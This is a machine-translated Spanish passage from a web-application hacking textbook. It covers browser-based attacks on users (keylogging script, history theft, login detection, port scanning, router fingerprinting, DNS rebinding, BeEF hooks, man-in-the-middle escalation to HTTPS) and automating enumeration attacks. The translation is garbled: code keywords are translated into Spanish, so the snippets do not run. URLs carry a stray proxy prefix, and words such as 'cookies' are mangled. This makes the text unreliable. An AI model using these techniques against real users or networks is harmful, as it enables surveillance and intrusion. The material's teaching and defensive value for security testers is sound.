funciones específicas de la aplicación. También brindan contexto para comprender el impacto de varios
comportamientos de la aplicación al mostrar lo que un atacante puede lograr incluso en ausencia de fallas
específicas de la aplicación.
La discusión en las siguientes secciones es necesariamente concisa. Ciertamente hay espacio para
escribir un libro entero sobre este tema. Se anima a los posibles autores con una cantidad significativa de
tiempo libre a enviar una propuesta a Wiley para el Manual del pirata informático del navegador.
Registro de pulsaciones de teclas
JavaScript se puede usar para monitorear todas las teclas que presiona el usuario mientras la ventana del
navegador tiene el foco, incluidas las contraseñas, los mensajes privados y otra información personal. El
siguiente script de prueba de concepto captura todas las pulsaciones de teclas en Internet Explorer y las
muestra en la barra de estado del navegador:
<script>document.onkeypress = función () {
ventana.estado += String.fromCharCode(ventana.event.keyCode);
} </script>
Estos ataques pueden capturar pulsaciones de teclas solo mientras el marco en el que se ejecuta el
código tiene el foco. Sin embargo, algunas aplicaciones se vuelven vulnerables al registro de teclas cuando
incorporan un widget de terceros o un subprograma publicitario en un marco dentro de las propias páginas
de la aplicación. En los llamados ataques de "secuestro de trazos inversos", el código malicioso que se
ejecuta en un marco secundario puede captar el foco de la ventana de nivel superior, ya que la política del
mismo origen no impide esta operación. El código malicioso puede capturar pulsaciones de teclas al
manejar eventos onkeydown y puede pasar los eventos onkeypress separados a la ventana de nivel
superior. De esa forma, el texto escrito seguirá apareciendo en la ventana de nivel superior de la forma
habitual. Al abandonar el foco brevemente durante las pausas al escribir, el código malicioso puede incluso
mantener la apariencia de un signo de intercalación parpadeante en la ubicación normal dentro de la
página de nivel superior.
Robo del historial del navegador y consultas de búsqueda
JavaScript se puede utilizar para realizar un ejercicio de fuerza bruta para descubrir sitios de terceros
visitados recientemente por el usuario y consultas que ha realizado en motores de búsqueda populares.
Esta técnica ya se describió en el contexto de realizar un ataque de fuerza bruta para identificar tokens
anti-CSRF válidos que están en uso en un dominio diferente. El ataque funciona mediante la creación
dinámica de hipervínculos para sitios web comunes y consultas de búsqueda y mediante el uso de la API
getComputedStyle para probar si el enlace está coloreado como visitado o no visitado. Se puede comprobar
rápidamente una enorme lista de posibles objetivos con un impacto mínimo en el usuario.
Enumeración de las aplicaciones utilizadas actualmente
JavaScript se puede utilizar para determinar si el usuario está actualmente conectado a aplicaciones web
de terceros. La mayoría de las aplicaciones contienen páginas protegidas que solo pueden ver los usuarios
registrados, como la página Mis detalles. Si un usuario no autenticado solicita la página, recibe un
contenido diferente, como un mensaje de error o una redirección al inicio de sesión.
Este comportamiento se puede aprovechar para determinar si un usuario ha iniciado sesión en una
aplicación de terceros realizando una secuencia de comandos entre dominios para una página protegida
e implementando un controlador de errores personalizado para procesar errores de secuencias de comandos:
ventana.onerror = huella digital; <script

src=”https://other-app.com/MyDetails.aspx”></script>
Por supuesto, independientemente del estado en el que se encuentre la página protegida,

solo contiene HTML, por lo que se genera un error de JavaScript. Fundamentalmente, el error
contiene un número de línea y un tipo de error diferentes, según el documento HTML exacto devuelto.
El atacante puede implementar un controlador de errores (en la función de huella digital )
que verifica el número de línea y el tipo de error que surge cuando el usuario inicia sesión .
A pesar de las restricciones del mismo origen, el script del atacante puede deducir en qué
estado se encuentra la página protegida. .
Habiendo determinado en qué aplicaciones populares de terceros el usuario está actualmente
conectado, el atacante puede llevar a cabo ataques de falsificación de solicitudes entre sitios altamente
enfocados para realizar acciones arbitrarias dentro de esas aplicaciones en el contexto de seguridad
del usuario comprometido.
Escaneo de puertos
JavaScript se puede usar para realizar un escaneo de puertos de hosts en la red local del
usuario u otras redes accesibles para identificar servicios que pueden ser explotables.
Si un usuario está detrás de un cortafuegos corporativo o doméstico, un atacante puede acceder a
servicios a los que no se puede acceder desde la Internet pública. Si el atacante escanea la interfaz
de bucle invertido de la computadora cliente, es posible que pueda eludir cualquier firewall personal
que haya instalado el usuario.
El escaneo de puertos basado en navegador puede usar un applet de Java para determinar la
dirección IP del usuario (que puede ser NAT de la Internet pública) y, por lo tanto, inferir el rango
probable de IP de la red local. Luego, el script puede iniciar conexiones HTTP a hosts y puertos
arbitrarios para probar la conectividad. Como se describió, la política del mismo origen evita que el
script procese las respuestas a estas solicitudes. Sin embargo, un truco similar al que se usa para
detectar el estado de inicio de sesión se puede usar para probar la conectividad de la red. Aquí, la
secuencia de comandos del atacante intenta cargar y ejecutar dinámicamente una secuencia de
comandos desde cada host y puerto de destino. Si un servidor web se ejecuta en ese puerto, devuelve
HTML o algún otro contenido, lo que genera un error de JavaScript que el script de exploración de
puertos puede detectar. De lo contrario, el intento de conexión expira o no devuelve datos, en cuyo
caso no se genera ningún error . Por lo tanto, a pesar de las restricciones del mismo origen, el script
de escaneo de puertos puede confirmar la conectividad a hosts y puertos arbitrarios.
Tenga en cuenta que la mayoría de los navegadores implementan restricciones en los

puertos a los que se puede acceder mediante solicitudes HTTP y que los puertos comúnmente
utilizados por otros servicios conocidos, como el puerto 25 para SMTP, están bloqueados.
Históricamente, sin embargo, han existido errores en los navegadores que han permitido a
veces eludir esta restricción.
Atacar a otros hosts de red

Después de un escaneo de puertos exitoso para identificar otros hosts, un script malicioso puede
intentar tomar huellas dactilares de cada servicio descubierto y luego atacarlo de varias maneras.
Muchos servidores web contienen archivos de imagen ubicados en direcciones URL únicas. El
siguiente código busca una imagen específica asociada con una gama popular de enrutadores DSL:
<img src=”http://192.168.1.1/hm_icon.gif” onerror=”notNetgear()”>
Si no se invoca la función notNetgear , el servidor se ha identificado correctamente como

un enrutador NETGEAR. Luego, el script puede proceder a atacar el servidor web, ya sea
explotando cualquier vulnerabilidad conocida en el software en particular o realizando un
ataque de falsificación de solicitud. En este ejemplo, el atacante podría intentar iniciar sesión
en el enrutador con las credenciales predeterminadas y reconfigurar el enrutador para abrir
puertos adicionales en su interfaz externa o exponer su función administrativa al mundo. Tenga
en cuenta que muchos ataques altamente efectivos de este tipo solo requieren la capacidad
de emitir solicitudes arbitrarias, no de procesar sus respuestas, por lo que no se ven afectados
por la política del mismo origen.
En ciertas situaciones, un atacante puede aprovechar las técnicas de reenlace de DNS
para violar la política del mismo origen y recuperar contenido de servidores web en la red local.
Estos ataques se describen más adelante en este capítulo.
Explotación de servicios no HTTP

Yendo más allá de los ataques contra servidores web, en algunas situaciones es posible
aprovechar el navegador de un usuario para apuntar a servicios que no son HTTP a los que
se puede acceder desde la máquina del usuario. Siempre que el servicio en cuestión tolere los
encabezados HTTP que inevitablemente aparecen al comienzo de cada solicitud, un atacante
puede enviar contenido binario arbitrario dentro del cuerpo del mensaje para interactuar con el
servicio que no es HTTP. De hecho, muchos servicios de red toleran entradas no reconocidas
y siguen procesando entradas posteriores que están bien formadas para el protocolo en cuestión.
Una técnica para enviar un cuerpo de mensaje arbitrario entre dominios se
describió en el Capítulo 12, en el que se usó un formulario HTML con el atributo
enctype establecido en text/plain para enviar contenido XML a una aplicación
vulnerable. Otras técnicas para entregar estos ataques se describen en el siguiente documento:
www.ngssoftware.com/research/papers/InterProtocolExploitation.pdf
Dichos ataques entre protocolos pueden usarse para realizar acciones no autorizadas en el
servicio de destino o para explotar vulnerabilidades a nivel de código dentro de ese servicio
para comprometer el servidor de destino.
Además, en algunas situaciones, el comportamiento en los servicios que no son HTTP
puede explotarse para realizar ataques XSS contra aplicaciones web que se ejecutan en el
mismo servidor. Tal ataque requiere que se cumplan las siguientes condiciones:
n El servicio que no es HTTP debe ejecutarse en un puerto que no esté bloqueado por los
navegadores, como se describió anteriormente. n El servicio que no es HTTP debe
tolerar encabezados HTTP inesperados enviados por el navegador y no simplemente
cerrar la conexión de red cuando esto sucede. El primero es común para muchos
servicios, particularmente aquellos que están basados en texto.
n El servicio no HTTP debe hacer eco de parte del contenido de la solicitud en su respuesta,
como en un mensaje de error.
n El navegador debe tolerar respuestas que no contengan encabezados HTTP válidos y, en esta
situación, debe procesar una parte de la respuesta como HTML si eso es lo que contiene. De
hecho, así es como se comportan todos los navegadores actuales cuando se reciben respuestas
no HTTP adecuadas, probablemente por motivos de compatibilidad con versiones anteriores. n El

navegador debe ignorar el número de puerto al segregar el acceso de origen cruzado a las
cookies. De hecho, los navegadores actuales son independientes de los puertos en el manejo de las
cookies.
Dadas estas condiciones, un atacante puede construir un ataque XSS dirigido al servicio que no es
HTTP. El ataque consiste en enviar una solicitud manipulada, en la URL o en el cuerpo del mensaje, de la
forma habitual. El código de script contenido en las solicitudes se repite y se ejecuta en el navegador del
usuario. Este código puede leer el cocinero del usuario.
ies para el dominio en el que reside el servicio no HTTP y transmitirlos al atacante.
Explotación de errores del navegador
Si existen errores en el software del navegador del usuario o en cualquier extensión instalada, un atacante
puede explotarlos a través de JavaScript o HTML malicioso. En algunos casos, los errores dentro de las
extensiones, como Java VM, han permitido a los atacantes realizar una comunicación binaria bidireccional
con servicios que no son HTTP en la computadora local o en otro lugar. Esto permite que el atacante
aproveche las vulnerabilidades que existen dentro de otros servicios identificados a través del escaneo de
puertos. Muchos productos de software (incluidos los productos que no están basados en navegador)
instalan controles ActiveX que pueden contener vulnerabilidades.
Reenlace de DNS
El reenlace de DNS es una técnica que se puede utilizar para realizar una infracción parcial de las
restricciones del mismo origen en algunas situaciones, lo que permite que un sitio web malicioso interactúe
con un dominio diferente. La posibilidad de este ataque surge porque las segregaciones en la política del
mismo origen se basan principalmente en nombres de dominio, mientras que la entrega final de solicitudes
HTTP implica convertir nombres de dominio en direcciones IP.
En un nivel alto, el ataque funciona de la siguiente manera:
n El usuario visita una página web maliciosa en el dominio del atacante. Para recuperar esta
página, el navegador del usuario resuelve el nombre de dominio del atacante en la
dirección IP del atacante.
n La página web del atacante envía solicitudes Ajax al dominio del atacante, lo cual está
permitido por la política del mismo origen. El atacante utiliza el reenlace de DNS
para hacer que el navegador resuelva el dominio del atacante por segunda vez, y esta
vez el nombre de dominio se resuelva en la dirección IP de una aplicación de terceros ,
a la que se dirige el atacante.
n Las solicitudes posteriores al nombre de dominio del atacante se envían a la aplicación
de destino. Dado que se encuentran en el mismo dominio que la página original del
atacante, la política del mismo origen permite que la secuencia de comandos del
atacante recupere el contenido de las respuestas de la aplicación de destino y se las
envíe de vuelta al atacante, posiblemente en un dominio diferente controlado por el
atacante.
Este ataque enfrenta varios obstáculos, incluidos los mecanismos en algunos navegadores
para continuar usando una dirección IP previamente resuelta, incluso si el dominio se ha
reenviado a una dirección diferente. Además, el encabezado Host enviado por el navegador
generalmente todavía se refiere al dominio del atacante, no al de la aplicación de destino, lo
que puede causar problemas. Históricamente, han existido métodos mediante los cuales se
pueden eludir estos obstáculos en diferentes navegadores. Además del navegador, los
ataques de reenlace de DNS se pueden realizar contra las extensiones del navegador y los
proxies web, todos los cuales pueden comportarse de diferentes maneras.
Tenga en cuenta que en los ataques de reenlace de DNS, las solicitudes a la aplicación
de destino aún se realizan en el contexto del dominio del atacante, en lo que respecta al
navegador. Por lo tanto, las cookies para el dominio real de la aplicación de destino no se
incluyen en estas solicitudes. Por esta razón, el contenido que se puede recuperar del objetivo
a través del reenlace de DNS es el mismo que podría recuperar cualquier persona que pueda
realizar solicitudes directas al objetivo. La técnica es principalmente de interés, por lo tanto,
donde existen otros controles para evitar que un atacante interactúe directamente con el
objetivo. Por ejemplo, se puede hacer que un usuario que reside en las redes internas de una
organización, a las que no se puede acceder directamente desde Internet, recupere contenido
de otros sistemas en esas redes y transmita este contenido al atacante.
Marcos de explotación del navegador

Se han desarrollado varios marcos para demostrar y explotar la variedad de
posibles ataques que pueden llevarse a cabo contra los usuarios finales en Internet.
Por lo general, estos requieren que se coloque un enlace de JavaScript en el navegador de
la víctima a través de alguna vulnerabilidad como XSS. Una vez que el gancho está en su
lugar, el navegador contacta con un servidor controlado por el atacante. Puede sondear este
servidor periódicamente, enviar datos al atacante y proporcionar un canal de control para
recibir comandos del atacante.
NOTA A pesar de las restricciones impuestas por la política del mismo

origen, se pueden usar varias técnicas en esta situación para permitir la
interacción asincrónica bidireccional con el servidor del atacante desde un
script que se inyectó en una aplicación de destino. Un método simple es realizar
scripts dinámicos entre dominios incluidos en el dominio del atacante. Estas
solicitudes pueden transmitir los datos capturados al atacante (dentro de la
cadena de consulta de URL) y recibir instrucciones sobre las acciones que se deben realizar (dentro d
Estas son algunas de las acciones que se pueden llevar a cabo en este tipo de marcos:
n Registrar las pulsaciones de teclas y enviarlas al atacante n

Secuestrar la sesión del usuario con la aplicación vulnerable n Tomar las
huellas dactilares del navegador de la víctima y explotar las vulnerabilidades conocidas
del navegador en consecuencia
n Realizar escaneos de puertos de otros hosts (que pueden estar en una red privada a
la que puede acceder el navegador del usuario comprometido) y enviar los resultados
al atacante.
n Atacar otras aplicaciones web accesibles a través del navegador del usuario
comprometido al obligar al navegador a enviar solicitudes maliciosas
n Forzando brutamente el historial de navegación del usuario y enviándolo al atacante
Un ejemplo de un marco de explotación de navegador sofisticado es BeEF, desarrollado por Wade

Alcon, que implementa la funcionalidad que acabamos de describir.
La Figura 13-8 muestra BeEF capturando información de un usuario comprometido, incluidos los
detalles de la computadora, la URL y el contenido de la página que se muestra actualmente, y las
pulsaciones de teclas ingresadas por el usuario.
Figura 13-8: Datos capturados de un usuario comprometido por BeEF

La Figura 13-9 muestra a BeEF realizando un escaneo de puertos de la propia computadora del
usuario víctima.
Figura 13-9: BeEF realizando un escaneo de puertos de la computadora de un usuario comprometido
Otro marco de explotación de navegador altamente funcional es XSS Shell, producido por
Ferruh Mavituna. Proporciona una amplia gama de funciones para manipular hosts zombis
comprometidos a través de XSS, incluida la captura de pulsaciones de teclas, contenido del
portapapeles, movimientos del mouse, capturas de pantalla e historial de URL, así como la
inyección de comandos JavaScript arbitrarios. También permanece residente en el navegador del
usuario si navega a otras páginas dentro de la aplicación.
Ataques Man-in-the-Middle
Los capítulos anteriores describieron cómo un atacante en una posición adecuada puede
interceptar datos confidenciales, como contraseñas y tokens de sesión, si una aplicación utiliza
comunicaciones HTTP sin cifrar. Lo que es más sorprendente es que aún se pueden realizar
algunos ataques graves incluso si una aplicación usa HTTPS para todos los datos confidenciales
y el usuario objetivo siempre verifica que HTTPS se esté usando correctamente.
Estos ataques involucran a un hombre “activo” en el medio. En lugar de solo monitorear

pasivamente el tráfico de otro usuario, este tipo de atacante también cambia parte de ese tráfico
sobre la marcha. Un ataque de este tipo es más sofisticado, pero ciertamente puede ejecutarse
en numerosas situaciones comunes, incluidos puntos de acceso inalámbricos públicos y redes de
oficinas compartidas, y por parte de gobiernos con la mentalidad adecuada.
Muchas aplicaciones usan HTTP para contenido no confidencial, como descripciones de
productos y páginas de ayuda. Si dicho contenido hace que alguna secuencia de comandos
incluya el uso de URL absolutas, se puede usar un ataque de intermediario activo para
comprometer las solicitudes protegidas por HTTPS en el mismo dominio. Por ejemplo, la página
de ayuda de una aplicación puede contener lo siguiente:
<script src=”http://wahh-app.com/help.js”></script>
Este comportamiento de usar direcciones URL absolutas para incluir secuencias de comandos sobre
HTTP aparece en numerosas aplicaciones de alto perfil en la web hoy en día. En esta situación, un atacante
man-in-the-middle activo podría, por supuesto, modificar cualquier respuesta HTTP para ejecutar código de
script arbitrario. Sin embargo, debido a que la política del mismo origen generalmente trata el contenido
cargado a través de HTTP y HTTPS como perteneciente a diferentes orígenes, esto no permitiría que el
atacante comprometa el contenido al que se accede mediante HTTPS.
Para superar este obstáculo, el atacante puede inducir a un usuario a cargar la misma página a través
de HTTPS modificando cualquier respuesta HTTP para provocar una redirección o reescribiendo los
objetivos de los enlaces en otra respuesta. Cuando el usuario carga la página de ayuda a través de HTTPS,
su navegador ejecuta el script especificado mediante HTTP. Fundamentalmente, algunos navegadores no
muestran ninguna advertencia en esta situación.
El atacante puede entonces devolver su código de secuencia de comandos arbitrario en la respuesta de la
secuencia de comandos incluida. Este script se ejecuta en el contexto de la respuesta HTTPS, lo que
permite al atacante comprometer este y otros contenidos a los que se accede a través de HTTPS.
Suponga que la aplicación a la que se dirige no usa HTTP simple para ningún contenido. Un atacante
aún puede inducir al usuario a realizar solicitudes al dominio de destino utilizando HTTP simple devolviendo
una redirección de una solicitud HTTP realizada a cualquier otro dominio. Aunque es posible que la aplicación
en sí ni siquiera escuche las solicitudes HTTP en el puerto 80, el atacante puede interceptar estas solicitudes
inducidas y devolver contenido arbitrario en respuesta a ellas. En esta situación, se pueden usar varias
técnicas para escalar el compromiso al origen HTTPS para el dominio de la aplicación:
n Primero, como se describió para los ataques de inyección de cookies, el atacante puede usar una
respuesta a través de HTTP simple para establecer o actualizar un valor de cookie que se usa en
las solicitudes HTTPS. Esto se puede hacer incluso para las cookies que se configuraron
originalmente a través de HTTPS y se marcaron como seguras. Si los valores de las cookies se
procesan de forma insegura mediante el código de secuencia de comandos que se ejecuta en el
origen HTTPS, se puede utilizar un ataque de inyección de cookies para generar un exploit XSS a través de la cookie.
En segundo lugar, como se mencionó, algunas extensiones de navegador no separan correctamente el

contenido cargado a través de HTTP y HTTPS y lo tratan de manera efectiva como perteneciente a
un único origen. El script del atacante, devuelto en respuesta a una solicitud HTTP inducida, puede
aprovechar dicha extensión para leer o escribir el contenido de las páginas a las que el usuario
accedió mediante HTTPS.
Los ataques que acabamos de describir se basan en algún método para inducir al usuario a realizar una
solicitud HTTP arbitraria al dominio de destino, como devolver una respuesta de redirección de una solicitud
HTTP que el usuario realiza a cualquier otro dominio. Podría pensar que un usuario paranoico de seguridad
estaría a salvo de esta técnica.
Supongamos que el usuario accede a un solo sitio web a la vez y reinicia su navegador antes de acceder a
cada nuevo sitio. Supongamos que inicia sesión en su aplicación bancaria,
que usa HTTPS puro, desde un nuevo navegador limpio. ¿Puede verse comprometido
por un ataque activo de hombre en el medio?
La inquietante respuesta es que sí, probablemente pueda verse comprometido. Los navegadores
actuales realizan numerosas solicitudes HTTP simples en segundo plano, independientemente de los
dominios que visite el usuario. Los ejemplos comunes incluyen listas antiphishing, pings de versión y
solicitudes de fuentes RSS. Un atacante puede responder a cualquiera de estas solicitudes con una
redirección al dominio de destino mediante HTTP. Cuando el navegador sigue silenciosamente la
redirección, se puede lanzar uno de los ataques ya descritos, primero para comprometer el origen
HTTP para el dominio objetivo y luego para escalar este compromiso al origen HTTPS.
Los usuarios paranoicos de seguridad que necesitan acceder a contenido sensible protegido por
HTTPS a través de una red que no es de confianza pueden (probablemente) evitar la técnica que se
acaba de describir configurando la configuración del proxy de su navegador para usar un puerto local
no válido para todos los protocolos que no sean HTTPS. Incluso si hacen esto, es posible que aún
deban preocuparse por los ataques activos contra SSL, un tema que está fuera del alcance de este libro.
Resumen
Hemos examinado una gran variedad de formas en que los defectos en una aplicación web pueden
dejar a sus usuarios expuestos a ataques maliciosos. Muchas de estas vulnerabilidades son complejas
de comprender y descubrir y, a menudo, requieren una cantidad de esfuerzo de investigación que
supera su importancia como base para un ataque que valga la pena. Sin embargo, es común
encontrar que acechando entre una gran cantidad de fallas del lado del cliente sin interés hay una
vulnerabilidad grave que puede aprovecharse para atacar la aplicación en sí. En muchos casos, el
esfuerzo vale la pena.
Además, a medida que la conciencia de la seguridad de las aplicaciones web continúa
evolucionando, es probable que los ataques directos contra el componente del servidor en sí sean
menos fáciles de descubrir y ejecutar. Los ataques contra otros usuarios, para bien o para mal, son
sin duda parte del futuro de todos.
Preguntas
1. Descubre una función de aplicación en la que el contenido de un parámetro de

cadena de consulta se inserta en el encabezado Ubicación en una redirección
HTTP. ¿Para qué tres tipos diferentes de ataques se puede explotar potencialmente
este comportamiento?
2. ¿Qué condición previa principal debe existir para permitir un ataque CSRF contra una función
sensible de una aplicación?
3. ¿Qué tres medidas defensivas se pueden usar para evitar el secuestro de JavaScript?
ing ataques?
4. Para cada una de las siguientes tecnologías, identifique las circunstancias, si las hubiera,
en las que la tecnología solicitaría /crossdomain.xml para hacer cumplir correctamente
la segregación de dominios: (a) Flash (b) Java (c) HTML5 (d) Silverlight
5. “Estamos a salvo de los ataques de clickjacking porque no usamos marcos”. Qué,

en todo caso, está mal con esta declaración?
6. Usted identifica una vulnerabilidad XSS persistente dentro del título de nombre para
mostrar utilizado por una aplicación. Esta cadena solo se muestra al usuario que la
configuró, cuando está conectado a la aplicación. Describa los pasos que debería
realizar un ataque para comprometer a otro usuario de la aplicación.
7. ¿Cómo probaría si una aplicación permite solicitudes entre dominios?

utilizando XMLHttpRequest?
8. Describa tres formas en que un atacante podría inducir a una víctima a usar una cookie
arbitraria.
CAPÍTULO R
14
Automatización de ataques personalizados
Este capítulo no introduce nuevas categorías de vulnerabilidades. Más bien,

examina un elemento clave en una metodología eficaz para piratear aplicaciones
web : el uso de la automatización para fortalecer y acelerar los ataques personalizados.
La gama de técnicas involucradas se puede aplicar a lo largo de la aplicación y en
cada etapa del proceso de ataque, desde el mapeo inicial hasta la explotación real.
Cada aplicación web es diferente. Atacar una aplicación de manera efectiva implica
el uso de varios procedimientos y técnicas manuales para comprender su
comportamiento y detectar vulnerabilidades. También implica poner en práctica su
experiencia e intuición de una manera imaginativa. Los ataques suelen ser de
naturaleza personalizada, adaptados al comportamiento particular que ha identificado
y a las formas específicas en que la aplicación le permite interactuar con ella y
manipularla. Realizar ataques personalizados manualmente puede ser extremadamente laborioso y prop
Los hackers de aplicaciones web más exitosos llevan sus ataques personalizados
un paso más allá y encuentran formas de automatizarlos para hacerlos más fáciles,
rápidos y efectivos.
Este capítulo describe una metodología comprobada para automatizar ataques
personalizados. Esta metodología combina las virtudes de la inteligencia humana y la
fuerza bruta computarizada, generalmente con resultados devastadores. Este capítulo
también examina varios obstáculos potenciales que pueden dificultar el uso de la
automatización y las formas en que estos obstáculos pueden sortearse.
571
572 Capítulo 14 n Automatización de ataques personalizados
Usos para la automatización personalizada
Existen tres situaciones principales en las que se pueden emplear técnicas automatizadas
personalizadas para ayudarlo a atacar una aplicación web: n Enumeración de
identificadores: la mayoría de las aplicaciones usan varios tipos de nombres e

identificadores para referirse a elementos de datos y recursos individuales, como
números de cuenta. , nombres de usuario e ID de documentos. A menudo necesitará
iterar a través de una gran cantidad de identificadores potenciales para enumerar
cuáles son válidos o merecen una mayor investigación. En esta situación, puede
usar la automatización de una manera totalmente personalizada para trabajar con
una lista de posibles identificadores o recorrer el rango sintáctico de identificadores
que se cree que está usando la aplicación.
Un ejemplo de un ataque para enumerar identifi cadores sería cuando una aplicación
usa un parámetro de número de página para recuperar contenido específi co:
http://mdsec.net/app/ShowPage.ashx?PageNo=10069
En el curso de la navegación a través de la aplicación, descubre una

gran cantidad de valores PageNo válidos. Pero para identificar cada
valor válido, debe recorrer todo el rango, algo que no puede hacer
manualmente.
n Recolección de datos: muchos tipos de vulnerabilidades de aplicaciones web le
permiten extraer datos útiles o confidenciales de la aplicación mediante solicitudes
específicas diseñadas. Por ejemplo, una página de perfil personal puede mostrar
los datos personales y bancarios del usuario actual e indicar el nivel de privilegio de
ese usuario dentro de la aplicación. A través de un defecto de control de acceso, es
posible que pueda ver la página de perfil personal de cualquier usuario de la
aplicación, pero solo un usuario a la vez. Recolectar estos datos para cada usuario
puede requerir miles de solicitudes individuales. En lugar de trabajar manualmente,
puede usar un ataque automatizado personalizado para capturar rápidamente todos
estos datos en una forma útil.
Un ejemplo de recolección de datos útiles sería extender el ataque de enumeración

que acabamos de describir. En lugar de simplemente confirmar qué valores PageNo
son válidos, su ataque automatizado podría extraer el contenido de la etiqueta de
título HTML de cada página que recupera, lo que le permite escanear rápidamente
la lista de páginas en busca de las más interesantes.
n Fuzzing de aplicaciones web: como hemos descrito los pasos prácticos para detectar
vulnerabilidades comunes de aplicaciones web, ha visto numerosos ejemplos en
los que el mejor enfoque para la detección es enviar varios
Capítulo 14 n Automatización de ataques personalizados 573
elementos inesperados de datos y cadenas de ataque y revise las respuestas de la

aplicación en busca de anomalías que indiquen que la falla puede estar presente. En una
aplicación grande, sus ejercicios iniciales de mapeo pueden identificar docenas de
solicitudes distintas que necesita sondear, cada una de las cuales contiene numerosos
parámetros diferentes. Probar cada caso manualmente llevaría mucho tiempo y sería
abrumador, y podría dejar desatendida una gran parte de la superficie de ataque.
Sin embargo, al utilizar la automatización personalizada, puede generar rápidamente una
gran cantidad de solicitudes que contienen cadenas de ataques comunes y evaluar
rápidamente las respuestas del servidor para concentrarse en casos interesantes que
ameritan una mayor investigación. Esta técnica a menudo se llama fuzzing.
Examinaremos en detalle cada una de estas tres situaciones y las formas en que se pueden
aprovechar las técnicas automatizadas personalizadas para mejorar enormemente sus ataques
contra una aplicación.
Enumeración de identificadores válidos
Como hemos descrito varias vulnerabilidades comunes y técnicas de ataque, ha encontrado

numerosas situaciones en las que la aplicación emplea un nombre o identificador para algún
elemento, y su tarea como atacante es descubrir algunos o todos los identificadores válidos en
uso. Estos son algunos ejemplos de dónde puede surgir este requisito:
n La función de inicio de sesión de la aplicación devuelve mensajes informativos que revelan

si un inicio de sesión fallido fue el resultado de un nombre de usuario no reconocido o una
contraseña incorrecta. Al recorrer una lista de nombres de usuario comunes e intentar
iniciar sesión con cada uno, puede reducir la lista a aquellos que sabe que son válidos.
Esta lista se puede utilizar como base para un ataque de adivinación de contraseñas. n
Muchas aplicaciones usan identificadores para referirse a recursos individuales que se
procesan dentro de la aplicación, como ID de documentos, números de cuenta, números de

empleados y entradas de registro. A menudo, la aplicación expone algunos medios para
confirmar si un identifi cador específico es válido. Al iterar a través del rango sintáctico de
identificadores en uso, puede obtener una lista completa de todos estos recursos.
n Si los tokens de sesión generados por la aplicación se pueden predecir, es posible que
pueda secuestrar las sesiones de otros usuarios simplemente extrapolando una serie de
tokens que se le emitieron. Dependiendo de la confiabilidad de este proceso, es posible
que deba probar una gran cantidad de tokens candidatos para cada valor válido que se
confirme.
El enfoque básico
Su primera tarea al formular un ataque automatizado personalizado para enumerar
identificadores válidos es localizar un par de solicitud/respuesta que tenga las
siguientes características:
n La solicitud incluye un parámetro que contiene el identificador al que se dirige. Por

ejemplo, en una función que muestra una página de aplicación, la solicitud puede
contener el parámetro PageNo=10069.
n La respuesta del servidor a esta solicitud varía de manera sistemática cuando
varía el valor del parámetro. Por ejemplo, si se solicita un número de página
válido, el servidor puede devolver una respuesta con el contenido del documento
especificado. Si se solicita un valor no válido, podría devolver un mensaje de
error genérico.
Habiendo localizado un par de solicitud/respuesta adecuado, el enfoque básico implica

enviar una gran cantidad de solicitudes automatizadas a la aplicación, ya sea trabajando a
través de una lista de identificadores potenciales o iterando a través del rango sintáctico de
identificadores que se sabe que están en uso. Las respuestas de la aplicación a estas
solicitudes se controlan en busca de "aciertos", lo que indica que se envió un identificador válido.
Detección de aciertos
Existen numerosos atributos de las respuestas en los que se pueden detectar variaciones
sistemáticas y que, por lo tanto, pueden proporcionar la base para un ataque automatizado.
Código de estado HTTP
Muchas aplicaciones devuelven diferentes códigos de estado de manera sistemática, según

los valores de los parámetros enviados. Los valores que se encuentran con mayor frecuencia
durante un ataque para enumerar identificadores son los siguientes:
n 200 : el código de estado predeterminado, que significa

"OK". n 301 o 302 : una redirección a una URL diferente.
n 401 o 403 — La solicitud no fue autorizada o permitida. n 404 — No

se encontró el recurso solicitado. n 500 : el servidor encontró un error
al procesar la solicitud.
Longitud de respuesta
Es común que las páginas de aplicaciones dinámicas construyan respuestas utilizando una
plantilla de página (que tiene una longitud fija) e inserten contenido por respuesta en esta
plantilla. Si el contenido por respuesta no existe o no es válido (por ejemplo, si se solicitó
una ID de documento incorrecta), la aplicación podría simplemente devolver un
plantilla vacía. En esta situación, la longitud de la respuesta es un indicador fiable de si

se ha identificado un ID de documento válido.
En otras situaciones, diferentes longitudes de respuesta pueden indicar la ocurrencia
de un error o la existencia de una funcionalidad adicional. Según la experiencia de los
autores , se ha encontrado que el código de estado HTTP y los indicadores de longitud
de respuesta proporcionan un medio altamente confiable para identificar respuestas
anómalas en la mayoría de los casos.
Cuerpo de respuesta
Es común que los datos realmente devueltos por la aplicación contengan cadenas literales
o patrones que se pueden usar para detectar aciertos. Por ejemplo, cuando se solicita un
ID de documento no válido, la respuesta puede contener la cadena ID de documento no
válido . En algunos casos, donde el código de estado HTTP no varía y la longitud total de
la respuesta puede cambiarse debido a la inclusión de contenido dinámico, la búsqueda
de respuestas para una cadena o patrón específico puede ser el medio más confiable
para identificar coincidencias.
Encabezado de ubicación
En algunos casos, la aplicación responde a cada solicitud de una URL en particular con
una redirección HTTP (un código de estado 301 o 302), donde el objetivo de la redirección
depende de los parámetros enviados en la solicitud. Por ejemplo, una solicitud para ver
un informe puede resultar en una redirección a /download.jsp si el nombre del informe
proporcionado es correcto, oa /error.jsp si es incorrecto. El objetivo de una redirección
HTTP se especifica en el encabezado Ubicación y, a menudo, se puede usar para
identificar coincidencias.
Encabezado de conjunto de cookies
Ocasionalmente, la aplicación puede responder de manera idéntica a cualquier conjunto

de parámetros, con la excepción de que se establece una cookie en ciertos casos. Por
ejemplo, cada solicitud de inicio de sesión puede recibir la misma redirección, pero en el
caso de credenciales válidas, la aplicación establece una cookie que contiene un token
de sesión. El contenido que recibe el cliente cuando sigue la redirección depende de si
se envía un token de sesión válido.
Retrasos de tiempo
En ocasiones, el contenido real de la respuesta del servidor puede ser idéntico cuando se
envían parámetros válidos e inválidos, pero el tiempo necesario para devolver la respuesta
puede diferir sutilmente. Por ejemplo, cuando se envía un nombre de usuario no válido a
una función de inicio de sesión, la aplicación puede responder de inmediato con un
mensaje genérico sin información. Sin embargo, cuando se envía un nombre de usuario válido, el
La aplicación puede realizar varios procesos de back-end para validar las credenciales
proporcionadas, algunos de los cuales son computacionalmente intensivos, antes de devolver el
mismo mensaje si las credenciales son incorrectas. Si puede detectar esta diferencia de tiempo de
forma remota, puede usarse como un discriminador para identificar aciertos en su ataque.
(Este error también se encuentra a menudo en otros tipos de software, como versiones anteriores
de OpenSSH).
